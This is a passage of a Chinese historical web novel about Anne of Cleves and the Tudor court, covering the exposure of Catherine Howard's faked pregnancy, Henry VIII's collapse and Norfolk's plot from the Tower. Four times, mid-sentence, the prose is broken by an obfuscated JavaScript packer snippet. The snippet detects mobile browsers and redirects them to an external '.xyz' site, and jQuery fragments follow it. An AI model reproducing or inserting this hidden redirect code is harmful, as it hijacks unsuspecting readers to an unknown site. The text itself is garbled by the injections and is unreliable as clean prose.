玛丽公主握着那串母亲留下的乌木念珠，指关节因为用力而泛白，指甲深深掐进掌心。她深陷的眼窝里燃烧着熊熊的怒火，那怒火不仅针对霍华德家族的亵渎和残忍，更针对自己父亲可能的昏聩和被蒙蔽！凯瑟琳·霍华德！诺福克！你们竟敢用如此肮脏血腥的手段玩弄王权，欺骗整个英格兰！甚至可能……间接导致了爱德华的病危（在她看来，这场阴谋带来的动荡就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155924|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诱因之一）！ “备车！”玛丽的声音冰冷刺骨，带着不容置疑的决绝，“我要去见格里夫斯！现在！” 她要撬开这个关键人物的嘴！这个参与了所有“安胎”骗局的老御医，此刻必然是诺福克急于封口的另一个目标，也必然是恐惧的突破口！ *** 里士满，安娜宫的书房。安妮刚刚拒绝了格里夫斯派人来索要“安胎蜜”原浆的要求，心中那根弦绷得更紧。老约翰再次匆匆而入，脸色比清晨的薄雾还要凝重。 “夫人，格林威治宫传来确切消息！”老约翰的声音压得极低，带着一丝不易察觉的惊悸，“王后的贴身侍女安妮·巴斯克维尔……昨夜在宫中囚禁处……暴毙！死状……极其恐怖，七窍流血，疑似……剧毒灭口！宫里都传疯了，说是霍华德公爵下的手！” 安妮手中的银勺“叮”一声落在调配精油的水晶碗里，琥珀色的液体溅出几滴。她的心猛地一沉。最坏的情况发生了！西摩家的动作快得惊人，也狠得超乎想象！这已不是简单的政治倾轧，而是你死我活的流血斗争！巴斯克维尔的死，就是正式开战的信号弹！ 伊丽莎白的小脸瞬间煞白，灰绿色的眼睛里充满了震惊和对宫廷黑暗的深刻认知。 “老师……”她看向安妮，声音带着一丝颤抖。 安妮迅速稳住心神，眼神锐利如刀。“约翰大叔，传令下去，”她的声音异常冷静，却蕴含着不容置疑的力量，“酒坊、蒸馏坊、玫瑰园，所有人即日起不得谈论任何格林威治宫传闻！违者严惩！紧闭城堡大门，非必要不外出。加强夜间巡逻，尤其是靠近河岸的码头。所有运往宫中的‘舒络蜜’和‘加冕蜜’，出货前必须由你、小汤姆和我三人同时检查封缄，记录在册！另外……”她顿了顿，眼中闪过一丝精光，“准备一份最上等的‘克里夫斯之泪’和两瓶窖藏‘加冕蜜’，用最精致的礼盒装好，附上我的亲笔问候函，以恭贺王子殿下病情好转、祈愿陛下圣体安康的名义，立刻……不，午后亲自送往格林威治宫，直接呈交陛下内侍。” 她要在风暴彻底爆发前，再次强化她“忠诚的制药者”和“无害的感恩者”形象，将自己与霍华德家的漩涡清晰地隔离开来。这份礼物，既是护身符，也是投石问路。 “是，夫人！”老约翰深知事态严重，立刻领命而去。 安妮走到窗边，望着格林威治宫的方向。天际，厚重的乌云正在积聚，遮蔽了晨光。泰晤士河的水面也失去了往日的粼粼波光，变得阴沉晦暗。空气中弥漫着山雨欲来的沉重，混合着玫瑰园里传来的、过于浓郁的甜香，竟隐隐透出一丝血腥的气息。 胡椒狗不安地在她脚边低呜，用湿润的鼻子拱了拱她的手。 安妮俯身，轻轻抚摸着它光滑的脊背，眼神沉静却深邃如寒潭。巴斯克维尔的鲜血，已经染红了棋盘。西摩家掷出了最致命的一子，诺福克公爵仓皇焚毁证据。亨利八世那头被欺骗的雄狮，即将被彻底激怒。而这场以“假孕”为导火索、以侍女之死为引爆点的血腥风暴，终于要降临了。她和她的“安娜国”，必须在这雷霆万钧的撕裂中，找到那唯一能存身的缝隙。 格林威治宫的丧钟，似乎已在风中隐隐传来，为逝去的侍女，也为即将倾覆的权势。但风暴眼中，里士满的玫瑰，必须继续绽放。 35. 撕裂的帷幕与金狮的咆哮 格林威治宫深处，那间曾囚禁安妮·巴斯克维尔的储藏室，此刻弥漫着浓烈的石灰水气味和焦糊味，试图掩盖那深入骨髓的血腥。但无形的恐慌，却如同瘟疫，早已渗透宫墙的每一块砖石，在窃窃私语和惊惶的眼神中疯狂蔓延。安妮·巴斯克维尔惨烈的死状，被西摩家族精心渲染过的“霍华德灭口”版本，成了悬在每个人头顶的达摩克利斯之剑。恐惧的种子一旦种下，便在猜疑的土壤里疯狂滋长。 玛丽公主的行动快如闪电。她带着一身凛冽的寒意和旧教贵族的威压，直接闯入了御医格里夫斯那间堆满药草和古怪器械的房间。没有虚礼，没有寒暄，那双深陷的、燃烧着火焰的灰蓝色眼睛死死钉在格里夫斯瞬间惨白的脸上。 “格里夫斯，”玛丽的声音不高，却像冰锥凿击石板，“看着圣母玛利亚和所有圣徒的面！看着你宣誓效忠的王权！告诉我真相！凯瑟琳·霍华德的‘胎儿’，是死是活？！” 格里夫斯手中的研钵“哐当”一声掉在地上，草药粉末四溅。他浑身筛糠般抖起来，嘴唇哆嗦着，豆大的汗珠从额角滚落。玛丽公主眼中那不顾一切的疯狂和笃定，比任何酷刑都更让他恐惧。他扑通一声跪倒在地，老泪纵横，心理防线在玛丽带来的巨大压力和对自身命运的绝望预感下彻底崩溃。 “公……公主殿下……饶命！饶命啊！”格里夫斯涕泪横流，语无伦次地开始招供，将诺福克公爵的威逼利诱、假腹垫的制作、催吐药水的配方、以及自己如何在每日“诊脉”中配合演戏……如同倒豆子般倾泻而出。每一个字，都像一记重锤，砸在玛丽的心上，也彻底坐实了那个她最不愿相信却又隐隐预感的、亵渎至极的惊天骗局！ “假孕……欺君……”玛丽从牙缝里挤出这四个字，每一个音节都带着刻骨的恨意和冰冷的杀机。她不再看地上瘫软如泥的格里夫斯，猛地转身，深色的裙裾划出一道凌厉的弧线。“带上他！去见陛下！”她对随行的、同样震惊愤怒的旧教贵族侍卫下令，声音如同来自地狱的审判。 *** 与此同时，里士满安娜宫那份精心准备的礼物——盛放着“克里夫斯之泪”玫瑰精油和窖藏“加冕蜜”的鎏金礼盒，正由老约翰亲自护送，抵达了格林威治宫。在宫门口，他们“恰好”遇见了正准备离开的托马斯·西摩。 托马斯·西摩一身利落的骑装，脸上带着惯有的、略带玩世不恭的优雅微笑，但那双蓝色的眼眸深处，却闪烁着洞悉一切的锐利和一丝不易察觉的满意。他目光扫过老约翰手中捧着的、装饰着里士满玫瑰与胡椒狗徽记的礼盒，嘴角的弧度加深了些许。 “约翰先生，”托马斯勒住马，声音温和却清晰，“代我向安妮女士问好。王子殿下能转危为安，全赖安妮女士妙手仁心，陛下感念至深。请转告她，西摩家族铭记这份恩情，也时刻关注着里士满的安宁。风暴虽疾，但总有过去的时候。” 他意味深长地看了一眼格林威治宫深处，那里正酝酿着吞噬霍华德家族的风暴。“这份心意，陛下一定会感受到。” 老约翰恭敬地行礼，将托马斯的每一句话都刻在心里。托马斯的话，既是示好，也是提醒：风暴将至，西摩家是盟友，而安妮的“护身符”送得正是时候。 当这份来自里士满的、散发着清雅玫瑰香与醇厚酒香的礼物，被内侍小心翼翼地呈送到亨利八世面前时，这位被头痛、痛风以及连日来诡异压抑气氛折磨得暴躁易怒的君王，正处在爆发的边缘。巴斯克维尔“意外暴毙”的消息和宫内的流言，像苍蝇一样嗡嗡作响，搅得他心烦意乱。他对凯瑟琳的“胎象”并非没有一丝疑虑，但那份对年轻生命和新希望的渴望，让他本能地抗拒着那个可怕的猜测。 精致的礼盒打开，顶级玫瑰精油那纯净馥郁、仿佛凝聚了整个夏日花园的气息瞬间弥漫开来，带着抚慰心灵的魔力。旁边两瓶深琥珀色的“加冕蜜”，醇厚的酒香中蕴含着蜂蜜的甘甜和橡木的沉稳。礼盒中附着的安妮亲笔信笺，字迹娟秀恭谨，只字不提宫内纷争，只表达对王子康复的欣慰、对陛下圣体的挂念，并谦卑地献上这些微末之物，祈愿能为陛下略解烦忧。 这恰到好处的关怀、这远离漩涡的姿态、这能缓解他实际病痛（痛风）的“神药”，像一股清泉，在亨利浑浊燥热的怒火中注入了一丝清凉的慰藉。他拿起那瓶小巧精致的“克里夫斯之泪”，拔开瓶塞深深嗅了一口，紧皱的眉头似乎舒展了一瞬。 “安妮夫人……总是如此有心。”亨利的声音带着一丝难得的温和，甚至有一丝疲惫的感慨。对比宫内此刻的乌烟瘴气和潜在的惊天欺骗，里士满那位被他抛弃的“德意志母马”的这份宁静与忠诚，显得如此珍贵和……讽刺。 然而，这片刻的宁静，如同暴风雨前最后的静谧，被玛丽公主那如同复仇女神般闯入的身影彻底打破！ “父王！！！” 玛丽的声音尖利而高亢，带着泣血的控诉和滔天的愤怒，瞬间撕裂了大厅内压抑的空气。她身后，两名侍卫像拖死狗一样拖着面无人色、抖如筛糠的格里夫斯。 亨利被这突如其来的闯入和女儿眼中那几乎要焚烧一切的怒火惊得一愣：“玛丽？你这是……” “父王！您被欺骗了！被诺福克·霍华德和凯瑟琳·霍华德这对无耻的甥舅用最卑劣的手段欺骗了！”玛丽根本不给亨利反应的时间，她指着地上瘫软的格里夫斯，声音因极致的愤怒而颤抖，“这个老东西！这个御医！他亲口招供了！凯瑟琳·霍华德根本就没有怀孕！这一切都是假的！是诺福克公爵一手策划的惊天骗局！那个‘胎儿’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155925|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是塞在衣服里的布团！她的‘孕吐’，是用药水催出来的假象！他们用这肮脏的谎言蒙蔽了您的双眼，亵渎了王权，欺骗了整个英格兰！” 玛丽的话语如同密集的惊雷，一道接一道劈在亨利八世的头顶！他巨大的身躯猛地晃了一下，布满血丝的眼睛瞬间瞪得滚圆，难以置信地看着地上抖成一团的格里夫斯，又看向自己状若疯狂的女儿。 “你……你说什么？！”亨利的声音嘶哑变形，带着一种被彻底颠覆认知的茫然和暴怒前的死寂。他下意识地看向那份刚刚带给他一丝慰藉的里士满礼物，安妮那张沉静的脸似乎在无声地印证着这荒谬绝伦的指控。 格里夫斯在亨利那如同受伤雄狮般恐怖的目光注视下，吓得魂飞魄散，只能拼命磕头，语无伦次地哭喊：“陛下饶命！陛下饶命啊！都是公爵逼我的！他拿我全家性命威胁……我……我不敢不从啊陛下！” 格里夫斯的哭喊，如同最后一道确认的丧钟，狠狠敲碎了亨利心中最后一丝侥幸！ “轰——！” 一股无法形容的、混合着被愚弄的滔天耻辱、对期望落空的巨大失望、以及帝王权威被彻底践踏的狂暴怒火，如同沉寂了千年的火山，在亨利八世体内轰然爆发！ “霍——华——德——！！！” 一声仿佛来自地狱深渊的咆哮，震得整个大厅嗡嗡作响，水晶吊灯疯狂摇曳！亨利那庞大的身躯因暴怒而剧烈颤抖，脸色由赤红转为铁青，最后变成一种骇人的紫黑！他猛地抓起手边沉重的纯金狮头权杖（象征王权），用尽全身力气，狠狠砸向御案上那个刚刚打开的、装着“克里夫斯之泪”的里士满礼盒！ “砰——咔嚓！！！” 精美的鎏金礼盒连同里面价值连城的玫瑰精油瓶瞬间被砸得粉碎！琥珀色的精油混合着水晶碎片四溅飞射，浓郁到令人窒息的玫瑰香气如同喷溅的鲜血般在空气中轰然炸开！那两瓶“加冕蜜”也未能幸免，深色的酒液汩汩流出，浸透了华贵的地毯，浓烈的酒香与破碎的玫瑰香混合，形成一种诡异而惨烈的气息。 “传诺福克·霍华德！立刻！马上！给朕滚过来！！！”亨利的咆哮声嘶力竭，带着毁灭一切的气息，仿佛要将整个世界都撕碎。他像一头彻底失去理智、被激怒到极致的金毛雄狮，鬃毛倒竖，獠牙毕露，眼中只剩下毁灭的赤红。 整个格林威治宫，在这惊天动地的咆哮声中，陷入了死一般的寂静，随即被更深的恐惧和混乱所吞没。假孕的帷幕被玛丽公主以最惨烈的方式撕裂，金狮的咆哮宣告着霍华德家族末日的降临。而里士满那份无辜的礼物，连同那瓶象征着纯净与心血的“克里夫斯之泪”，成为了这场权力风暴祭坛上，第一件被彻底粉碎的牺牲品。安妮苦心维持的“风暴眼”宁静，至此，荡然无存。 36. 病榻上的权衡与蛰伏的毒牙 纯金狮头权杖砸碎“克里夫斯之泪”的巨响，如同格林威治宫丧钟的序曲。亨利八世那声撕裂宫殿的咆哮，耗尽了他最后一丝强撑的精力，也彻底引爆了连日来积压的愤怒、失望、耻辱和痛风带来的剧痛。 “传诺福克！！！” 这声最后的命令刚吼完，亨利那庞大的身躯便猛地一晃，眼前金星乱冒。紫黑色的怒容瞬间被一种骇人的灰败取代，他粗壮的手指死死抓住御案边缘，试图稳住自己，却徒劳无功。一阵天旋地转袭来，伴随着心脏被铁钳攥紧般的绞痛和左腿关节处撕裂般的剧痛，他喉咙里发出一声短促的、如同破风箱般的嗬嗬声，巨大的身躯如同被砍倒的橡树，轰然向后栽倒！ “陛下！！！” 殿内瞬间乱作一团！内侍们魂飞魄散地扑上去搀扶。玛丽公主的控诉戛然而止，震惊地看着瞬间倒下的父亲。格里夫斯更是吓得瘫软在地，屎尿齐流。 雄狮的咆哮被病魔扼杀在喉咙里。格林威治宫最有权势的人，此刻像一滩沉重的、失去意识的肉山，被手忙脚乱地抬回了寝宫。 *** 接下来的日子，格林威治宫笼罩在一种诡异而紧绷的气氛中。国王病倒，昏迷与清醒交替。当他清醒时，剧痛和虚弱让他无法思考复杂的政事，但那双布满血丝的眼睛里燃烧的怒火却从未熄灭。诺福克公爵托马斯·霍华德被勒令禁足于自己在宫内的居所，形同软禁，门外是国王最信任的瑞士卫队，眼神冰冷。凯瑟琳·霍华德的寝宫则被彻底封锁，如同华丽的囚笼，无人能进出，昔日的荣光荡然无存。 玛丽公主成了最忙碌的人。她以长公主的身份，在旧教贵族和部分枢密院成员的支持下，暂时接管了宫廷的部分秩序。她亲自坐镇国王寝宫外，指挥御医（格里夫斯被囚禁后换了新人），监督煎药。她雷厉风行地处置了几个试图浑水摸鱼的霍华德党羽，手段强硬，带着一种压抑多年的、近乎偏执的清算意味。她看向凯瑟琳寝宫方向的眼神，充满了刻骨的仇恨和冰冷的审判意味——只等父王一声令下，或者……等父王再也无法下令。 西摩家族则如同耐心的秃鹫，盘旋在风暴边缘。爱德华·西摩和托马斯·西摩兄弟每日都会“关切”地前来探视陛下病情（虽然多数时候被玛丽挡在门外），姿态恭谨，言语间却处处暗示霍华德家族的罪孽深重，必须严惩以儆效尤，稳固国本。他们带来的御医（自然是倾向西摩的）对国王的病情诊断也总是倾向于“忧思过度”、“怒火攻心”，矛头直指霍华德。托马斯·西摩更是巧妙地利用与安妮的“旧谊”，通过老约翰传递消息，暗示西摩家族愿意为“拨乱反正”承担更多责任。 躺在病榻上的亨利，在剧痛的间隙和短暂的清醒中，将这一切尽收眼底。身体的虚弱让他无力立刻宣泄那焚天的怒火，却让他的头脑在痛苦中获得了前所未有的、冰冷的清醒。 他看到玛丽眼中那毫不掩饰的、近乎狂热的清算欲望。她处置霍华德党羽的狠辣，让亨利心惊。他太了解这个被宗教狂热和母亲悲剧塑造的女儿了。一旦让她掌控局面，整个宫廷将血流成河，霍华德家族会被连根拔起，甚至牵连无数。但这股力量……此刻又确实在维持着宫廷不陷入彻底的混乱。 他更看到西摩兄弟那看似恭顺、实则野心勃勃的眼神。托马斯·西摩与安妮的“旧谊”，爱德华·西摩对爱德华王子监护权的虎视眈眈……他们像等待分食腐肉的鬣狗，只等霍华德这头巨兽倒下，便要扑上来撕咬，填补权力的真空。爱德华王子体弱，若由西摩家族彻底掌控……亨利不敢深想。 杀！他当然想杀！他想亲手拧断诺福克那老狐狸的脖子！想把凯瑟琳那欺骗他的贱人送上比安妮·博林更耻辱的断头台！将他们挫骨扬灰！ 但是……病弱的身体和眼前虎视眈眈的女儿、女婿（托马斯·西摩觊觎伊丽莎白是公开的秘密），以及实力膨胀的西摩家族，像冰冷的锁链，捆住了他杀戮的冲动。 “不能……让他们……太得意……”在一次剧痛稍歇的短暂清醒中，亨利艰难地对侍立床前、唯一还能信任的几位老臣低语，声音嘶哑微弱，却带着帝王最后的算计，“霍华德……罪该万死……但现在……不能……全杀……” 老臣们屏息凝神。 “诺福克……”亨利眼中恨意滔天，“关进伦敦塔……最黑的牢房……让他……活着……好好‘想想’……” 活着，就是人质，就是悬在霍华德家族残余势力头上的剑，让他们不敢轻举妄动，也提醒西摩家，国王还没死透！ “凯瑟琳……”提到这个名字，亨利眼中是极致的厌恶，但他喘了口气，说出了让老臣都感到意外的话，“看管起来……不准任何人见……尤其是……玛丽和西摩的人……她……还有用……” 老臣瞬间了然。留着凯瑟琳！这个引发风暴的核心，这个“假孕欺君”的铁证，这个霍华德家族推上王座的“杰作”！只要她活着，还在国王手里，就是制衡玛丽和西摩最有力的砝码！玛丽想立刻处死她泄愤？西摩想彻底抹掉霍华德痕迹？不！她的生死，必须由康复后的国王亲自裁决！她的存在本身，就是对两股势力的警告：谁都别想趁国王病弱，彻底掌控局面！ “西摩……”亨利喘息着，眼中闪过一丝疲惫的权衡，“安抚……告诉爱德华……他……忠心可嘉……枢密院……让他……暂代部分……税务……” 给点甜头，稳住他们，让他们继续出力维持局面，但又不能给太多实权，尤其是兵权。 “玛丽……”亨利看向守在门边、如同石雕般冰冷的长女，眼神复杂，“……她辛苦……让她……管好……宫里……但……律法审判……等朕……亲自来……” 既肯定她的作用，又明确限制她的权力边界，尤其是司法权。 “至于……安妮夫人……”亨利的目光扫过地上早已被清理干净、却仿佛还残留着玫瑰精油与酒液混合的奇异香气的角落，一丝极其微弱的、混杂着愧疚和利用的复杂情绪闪过，“她……救过爱德华……她的东西……碎了……赏她……双倍的……金子和……新领地……安抚……让她……安心……待在里士满……” 这是补偿，更是明确的信号：风暴中心的浑水，你别趟！老实待在你的领地里，继续提供“舒络蜜”！ 一道道指令，断断续续，却清晰地勾勒出亨利在病榻上艰难维持的平衡术：囚巨枭（诺福克）以慑群小，留祸水（凯瑟琳）以制强藩，予虚衔（西摩）而限实权，用长女（玛丽）而束其锋，安外藩（安妮）以固其位。 *** 当国王的“安抚”旨意传到西摩兄弟耳中时，爱德华·西摩的脸色瞬间阴沉下来。暂代部分税务？这和他们预期的、彻底接管霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155926|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华德空出的权力核心相差甚远！更关键的是，凯瑟琳那个贱人居然没死？还被严密看管起来，国王要“亲自”处置？ “老狐狸！”爱德华·西摩在密室中低吼，一拳砸在桌上，“病成这样了，还在玩平衡！他留着凯瑟琳，就是防着我们和玛丽！” 托马斯·西摩眼神闪烁，蓝色的眼眸里没有哥哥的愤怒，只有更深的算计。“兄长，稍安勿躁。”他端起一杯酒，轻轻晃动着，“陛下越是这样，越说明他心虚，说明他怕了。他怕我们西摩家趁势而起，也怕玛丽那个疯女人失控。留着凯瑟琳？呵呵，正好！那是插在霍华德心口的一把刀，也是悬在陛下头顶的耻辱柱！只要她活着，陛下康复后就必须处置她，到时候……” 他嘴角勾起冰冷的弧度，“才是我们真正发力，将霍华德彻底钉死，并从中攫取最大利益的时候。现在，我们要做的，是‘忠心’地执行陛下的旨意，把税务这块暂时到手的肉，吃稳，吃透！同时……” 他压低了声音，“盯紧里士满。安妮·克里夫斯得了安抚，但陛下对她的态度很微妙。她是变数，也可能是……新的棋子。” *** 里士满，安娜宫。 老约翰带回了格林威治宫破碎的礼物残骸（象征性地），以及国王双倍的金币和新领地（位于肯特郡一处富庶葡萄园）的赏赐旨意，同时也带回了宫内的紧张局势和国王病倒、霍华德被囚、凯瑟琳被禁、西摩受“安抚”的惊天消息。 安妮看着那袋沉甸甸的金币和地契，脸上没有任何喜色，只有一片冰封的凝重。金币和领地是裹着蜜糖的砒霜。亨利在病榻上的“安抚”，恰恰说明风暴远未平息，甚至更加凶险。他需要里士满保持“无害”和“有用”，成为他棋盘上一枚稳定的棋子。 “把金币入库，单独封存。新领地派人接管，但一切照旧，不要张扬，更不要涉足格林威治宫的任何事务。”安妮的声音异常冷静，“蜂蜜酒坊和蒸馏坊，产量缩减三成。对外就说……玫瑰收成不佳，需休养生息。” 她要主动示弱，降低存在感。 伊丽莎白站在安妮身边，小脸紧绷。宫廷的血腥和父王病榻上的权谋，给她上了最残酷也最真实的一课。她看着老师沉静却深不见底的侧脸，轻声问：“老师，我们……安全吗？” 安妮没有立刻回答，她走到窗边，望着格林威治宫的方向。夜色如墨，只有零星灯火。胡椒狗不安地蹭着她的腿，喉咙里发出低沉的呜咽，仿佛嗅到了远方浓烈的血腥和更深的阴谋气息。 “安全？”安妮轻轻抚摸着胡椒狗光滑的脊背，目光穿透沉沉夜幕，“在饿狼环伺的丛林里，没有绝对的安全。只有足够低调，足够‘有用’，并且……” 她顿了顿，声音低得如同耳语，“……时刻准备好，在蛰伏的毒牙露出时，给予致命一击，或者……找到那唯一的生路。” 国王在病榻上编织着平衡的蛛网，西摩在阴影中磨砺着爪牙，玛丽在压抑中积蓄着审判的力量。而里士满的玫瑰，在看似丰厚的“安抚”下，悄然收拢了花瓣，将根更深地扎入泥土，静静等待着下一轮更加猛烈的狂风暴雨。凯瑟琳·霍华德，那个被囚禁在华丽牢笼中的“祸水”，此刻成了维系这脆弱平衡最关键的、也是最危险的砝码。她的命运，如同悬在所有人头顶的利剑，只待金狮病愈，便是最终审判的号角。 37. 药香中的权柄与囚笼里的风暴 亨利八世病榻上的平衡术，如同在沸腾油锅上覆盖一层薄冰。格林威治宫表面的秩序在玛丽公主的铁腕和西摩家族“恭顺”的配合下勉强维持，但冰层之下，暗流汹涌，毒蛇吐信。 国王的寝宫成了风暴的中心。浓重的药味（混杂着传统放血后的血腥气和安妮“舒络蜜”的清冽药草香）挥之不去。亨利时而陷入高热的昏沉，在痛风的折磨中发出野兽般的低吼；时而短暂清醒，眼神浑浊却依旧锐利如鹰，扫视着床前侍奉的每一个人。玛丽公主几乎寸步不离，她像一尊冰冷的守护神像，隔绝着大部分探视者，尤其是西摩兄弟。她亲自试药，监督每一个环节，那双深陷的眼睛里除了对父亲的担忧（或许有，但被更深的东西掩盖），更多的是对权力真空的绝对掌控欲。她祈祷时念诵拉丁文的声音低沉而充满力量，仿佛在召唤旧日的神圣权威。 托马斯·西摩的“关切”被玛丽挡在门外数次后，他转换了策略。他不再强求面圣，而是将目光投向了另一个目标——伊丽莎白。他深知这位聪慧早熟的二公主，是安妮·克里夫斯倾心教导的“作品”，也是国王血脉中一个微妙的存在，更是……他野心的绝佳跳板。 一次“偶遇”，在连接国王寝宫与花园的玫瑰廊下。托马斯·西摩一身华服，风度翩翩，恰到好处地拦住了正捧着一卷星图匆匆走过的伊丽莎白。 “伊丽莎白公主殿下，”托马斯优雅地躬身行礼，脸上带着温和而富有魅力的笑容，“日安。看到您如此勤勉，真是令人欣慰。” 伊丽莎白停下脚步，灰绿色的眼眸平静地看着他，带着超越年龄的审慎：“西摩爵士，日安。父王需要静养，我正要回去。” 她不动声色地后退了半步，保持着距离。 “当然，陛下的安康重于一切。”托马斯笑容不变，目光却落在她手中的星图上，带着恰到好处的兴趣，“哦？这是……黄道星图？安妮女士的教导真是别具一格，令人惊叹。” 他巧妙地提及安妮，试图拉近距离。 “老师教我看星星，说它们蕴藏着古老的智慧。”伊丽莎白回答得滴水不漏。 “智慧……确实。”托马斯向前一步，姿态依旧优雅，却带来无形的压力。他压低声音，带着一种分享秘密般的亲昵，“殿下聪慧，想必也清楚，这格林威治宫，此刻就像这浩瀚星图，看似静谧，实则暗藏玄机，群星（势力）涌动，轨迹难测。霍华德虽倒，但余孽未清。陛下病体未愈，玛丽殿下……虔诚刚烈，但有时过刚易折。西摩家族对陛下、对都铎王朝忠心耿耿，只愿在陛下康复前，守护好这来之不易的安宁，尤其……是守护好像您这样，英格兰未来的希望。” 他的话，既是示好，也是试探，更是隐晦地提醒：玛丽不可靠，西摩是依靠，而他托马斯，愿意成为她伊丽莎白的“守护者”。 伊丽莎白的小手微微攥紧了星图的边缘。托马斯话语中的暗示和那过于专注的眼神让她感到不适。她想起了安妮老师的警告：西摩家的人，笑容背后往往藏着刀。 “爵士的忠心，父王自有明断。”伊丽莎白微微颔首，语气疏离，“我尚年幼，只知侍奉父王，听从姐姐（玛丽）教导。若无他事，我先告退了。” 她再次后退，不给托马斯更多发挥的空间，转身快步离去，小小的背影挺得笔直，带着一种不容侵犯的坚韧。 托马斯·西摩看着伊丽莎白消失在廊柱后的身影，脸上的笑容慢慢敛去，蓝色的眼眸中闪过一丝志在必得的锐芒和一丝被拒绝的不悦。硬骨头？没关系。他有的是耐心和时间。只要陛下的病继续拖下去……机会总会有的。 *** 伦敦塔，最深处的地牢。 这里没有窗户，只有厚重的石壁和渗着阴冷水汽的黑暗。腐臭和绝望是这里永恒的空气。诺福克公爵托马斯·霍华德枯坐在冰冷的石床上，曾经华丽的貂绒早已被剥去，只穿着一件粗糙的囚服。但那双浑浊的老眼，在绝对的黑暗中，却如同垂死毒蛇的瞳孔，闪烁着幽冷、不甘的恨意。 他没有坐以待毙。霍华德家族数百年的根基，岂是区区牢笼能彻底斩断？他通过一个早已被家族重金收买、负责送最低劣牢饭的老狱卒，将一枚藏在发髻里、刻有复杂暗语的家族徽记金戒指传了出去。这枚戒指，最终辗转到了他一个因“体弱多病”而未被玛丽重点清算的女儿——苏珊·霍华德手中。苏珊嫁给了伦敦一位家道中落但人脉深广的老男爵，位置相对安全。 戒指上的暗语，只有霍华德核心成员能懂。它传达了两个冰冷而疯狂的命令： 1. **不惜一切代价，接触凯瑟琳！** 确认她腹中是否真有“意外”（与卡尔佩珀的私情可能带来的真实结果）。若有，这便是霍华德家族绝境中唯一的、最致命的翻盘筹码！必须保住！若没有……则执行第二项命令。 2. **唤醒“渡鸦”！** 这是霍华德家族豢养的最神秘、最昂贵、也最冷酷的死士组织的代号。他们像幽灵一样潜伏在伦敦的阴影里，只为家族存亡而启动。指令：严密监视西摩家族（尤其是托马斯）和玛丽公主的一切异动，搜集其不轨证据（无论真假，只要有用）。同时，**在国王驾崩或彻底失控的第一时间——刺杀爱德华王子！** 制造彻底的混乱！既然霍华德家族要沉没，那就让整个英格兰都陪葬！让西摩和玛丽也休想得到他们想要的！让那体弱多病的王子，成为霍华德家族覆灭时最后的殉葬品！ 绝望的毒蛇，在深渊里亮出了最后的毒牙。它不再奢求生路，只求拖着敌人一同坠入地狱！ *** 格林威治宫，被严密看守的凯瑟琳寝宫。 昔日的喧嚣与荣华褪尽，只剩下死寂。昂贵的波斯地毯上落满了灰尘，华丽的锦幔低垂，遮住了窗外最后的光线。空气里弥漫着陈腐的香气和一丝若有若无的、如同恐惧本身散发的酸败味。 凯瑟琳·霍华德蜷缩在巨大的、冰冷的镀金床榻一角，像一只被拔光了羽毛的金丝雀。曾经光彩照人的容颜憔悴不堪，眼窝深陷，金发失去了光泽，凌乱地披散着。华丽的睡袍皱巴巴地裹在身上，衬得她更加瘦小脆弱。她怀里紧紧抱着一个早已冰冷的丝绸靠枕，仿佛那是她唯一的依靠。 安妮·巴斯克维尔惨死的画面如同噩梦，日夜纠缠着她。诺福克舅舅那毒蛇般的诅咒更是在耳边回响：“你会比安妮·博林死得更惨！” 恐惧像冰冷的藤蔓，缠绕着她的心脏，勒得她无法呼吸。她不敢照镜子，怕看到自己眼中那彻底崩溃的灵魂。 然而，在这片绝望的废墟中，一丝微弱的、源自生命本能的悸动，却如同风中残烛，顽强地闪烁着。 她的手，无意识地、颤抖地抚上自己依旧平坦的小腹。那里……似乎……真的有什么不一样了。自从与托马斯·卡尔佩珀在玫瑰廊下那次隐秘的、充满罪恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155927|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又无比刺激的幽会后，她的月事……确实迟了。起初被巨大的谎言和恐惧掩盖，如今在绝对的死寂和绝望中，这细微的变化却变得异常清晰。 